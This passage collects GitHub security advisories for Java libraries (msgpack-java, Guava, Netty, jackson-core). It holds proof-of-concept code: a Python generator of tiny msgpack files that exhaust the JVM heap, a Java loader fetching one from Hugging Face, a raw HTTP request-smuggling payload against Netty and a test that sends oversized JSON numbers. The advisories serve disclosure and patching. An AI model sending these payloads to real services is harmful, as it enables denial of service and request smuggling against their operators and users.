at org.msgpack.core.MessageUnpacker.readPayload(...)
at org.msgpack.core.MessageUnpacker.unpackValue(...)
var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();
Run:
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.
Resolution
This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11
Impact
This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.msgpack:msgpack-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21452"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T14:59:12Z",
"nvd_published_at": "2026-01-02T21:16:03Z",
"severity": "HIGH"
},
"details": "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n try:\n # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n header = b\u0027\\xC9\u0027 + struct.pack(\"\u003eI\", length) + b\u0027\\x01\u0027\n payload = b\u0027A\u0027 # actual data tiny\n\n data = header + payload\n\n fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n with open(fname, \"wb\") as f:\n f.write(data)\n\n print(f\"[+] Generated EXT bomb with declared length={length}\")\n length += step\n\n except Exception as e:\n print(\"[!] Stopped:\", e)\n break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n public static void main(String[] args) throws Exception {\n\n byte[] data = Files.readAllBytes(\n Paths.get(\"ext_length_470000001.msgpack\")\n );\n\n MessageUnpacker unpacker =\n MessagePack.newDefaultUnpacker(data);\n\n ExtensionValue ext =\n unpacker.unpackValue().asExtensionValue();\n\n // Vulnerability trigger:\n byte[] payload = ext.getData();\n\n System.out.println(payload.length);\n }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n at org.msgpack.core.MessageUnpacker.readPayload(...)\n at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
"id": "GHSA-cw39-r4h6-8j3x",
"modified": "2026-01-05T14:59:12Z",
"published": "2026-01-05T14:59:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
},
{
"type": "PACKAGE",
"url": "https://github.com/msgpack/msgpack-java"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation"
}
GHSA-MVR2-9PJ6-7W5J
Vulnerability from github – Published: 2020-06-15 20:35 – Updated: 2023-09-07 22:25Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.guava:guava"
},
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{
"events": [
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"introduced": "11.0"
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{
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{
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"name": "com.google.guava:guava-jdk5"
},
"ranges": [
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{
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},
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]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.googlecode.guava-osgi:guava-osgi"
},
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{
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{
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]
},
{
"package": {
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"name": "de.mhus.ports:vaadin-shared-deps"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "7.4.0"
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{
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"name": "org.hudsonci.lib.guava:guava"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "14.0.1-h-3"
}
],
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}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.sonatype.sisu:sisu-guava"
},
"versions": [
"0.11.1"
]
}
],
"aliases": [
"CVE-2018-10237"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-11T18:34:57Z",
"nvd_published_at": "2018-04-26T21:29:00Z",
"severity": "MODERATE"
},
"details": "Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.",
"id": "GHSA-mvr2-9pj6-7w5j",
"modified": "2023-09-07T22:25:36Z",
"published": "2020-06-15T20:35:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10237"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2423"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r223bc776a077d0795786c38cbc6e7dd808fce1a9161b00ba9c0a5d55@%3Cissues.lucene.apache.org%3E"
},
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{
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"url": "https://lists.apache.org/thread.html/ra0adb9653c7de9539b93cc8434143b655f753b9f60580ff260becb2b@%3Cusers.kafka.apache.org%3E"
},
{
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},
{
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},
{
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"url": "https://lists.apache.org/thread.html/rb3da574c34bc6bd37972d2266af3093b90d7e437460423c24f477919@%3Cissues.lucene.apache.org%3E"
},
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},
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},
{
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},
{
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"url": "https://lists.apache.org/thread.html/rd0c8ec6e044aa2958dd0549ebf8ecead7f5968c9474ba73a504161b2@%3Cdev.cxf.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/rdc56c15693c236e31e1e95f847b8e5e74fc0a05741d47488e7fc8c45@%3Cissues.flink.apache.org%3E"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220629-0008"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
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"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2424"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2425"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2428"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2598"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2643"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2740"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2741"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2742"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2743"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2927"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2858"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3149"
},
{
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"url": "https://github.com/google/guava"
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"url": "https://github.com/google/guava/wiki/CVE-2018-10237"
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"type": "WEB",
"url": "https://lists.apache.org/thread.html/33c6bccfeb7adf644d4d79894ca8f09370be6ed4b20632c2e228d085@%3Ccommits.cassandra.apache.org%3E"
},
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"url": "https://lists.apache.org/thread.html/3d5dbdd92ac9ceaef90e40f78599f9109f2f345252e0ac9d98e7e084@%3Cgitbox.activemq.apache.org%3E"
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},
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"url": "https://lists.apache.org/thread.html/cc48fe770c45a74dc3b37ed0817393e0c96701fc49bc431ed922f3cc@%3Chdfs-dev.hadoop.apache.org%3E"
},
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"url": "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E"
},
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},
{
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"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cdev.flink.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cuser.flink.apache.org%3E"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041707"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service in Google Guava"
}
GHSA-FGHV-69VJ-QJ49
Vulnerability from github – Published: 2025-09-04 17:35 – Updated: 2025-09-10 20:48Summary
A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.
Details
When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).
This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):
POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0
POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).
Impact
This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.
The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.
Disclosure
- This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html
Discussion
Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1
Credit
- Credit to @JeppW for uncovering this vulnerability.
- Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.
{
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{
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"name": "io.netty:netty-codec-http"
},
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"name": "io.netty:netty-codec-http"
},
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],
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],
"aliases": [
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],
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"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-04T17:35:20Z",
"nvd_published_at": "2025-09-03T21:15:33Z",
"severity": "LOW"
},
"details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
"id": "GHSA-fghv-69vj-qj49",
"modified": "2025-09-10T20:48:05Z",
"published": "2025-09-04T17:35:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/issues/15522"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6092"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/15611"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
}
GHSA-XPW8-RCWV-8F8P
Vulnerability from github – Published: 2023-10-10 22:22 – Updated: 2023-11-06 22:08A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.
Impact
This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.
Patches
This is patched in version 4.1.100.Final.
Workarounds
A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).
References
- https://www.cve.org/CVERecord?id=CVE-2023-44487
- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.100.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-10T22:22:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/",
"id": "GHSA-xpw8-rcwv-8f8p",
"modified": "2023-11-06T22:08:35Z",
"published": "2023-10-10T22:22:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44487"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-44487"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] 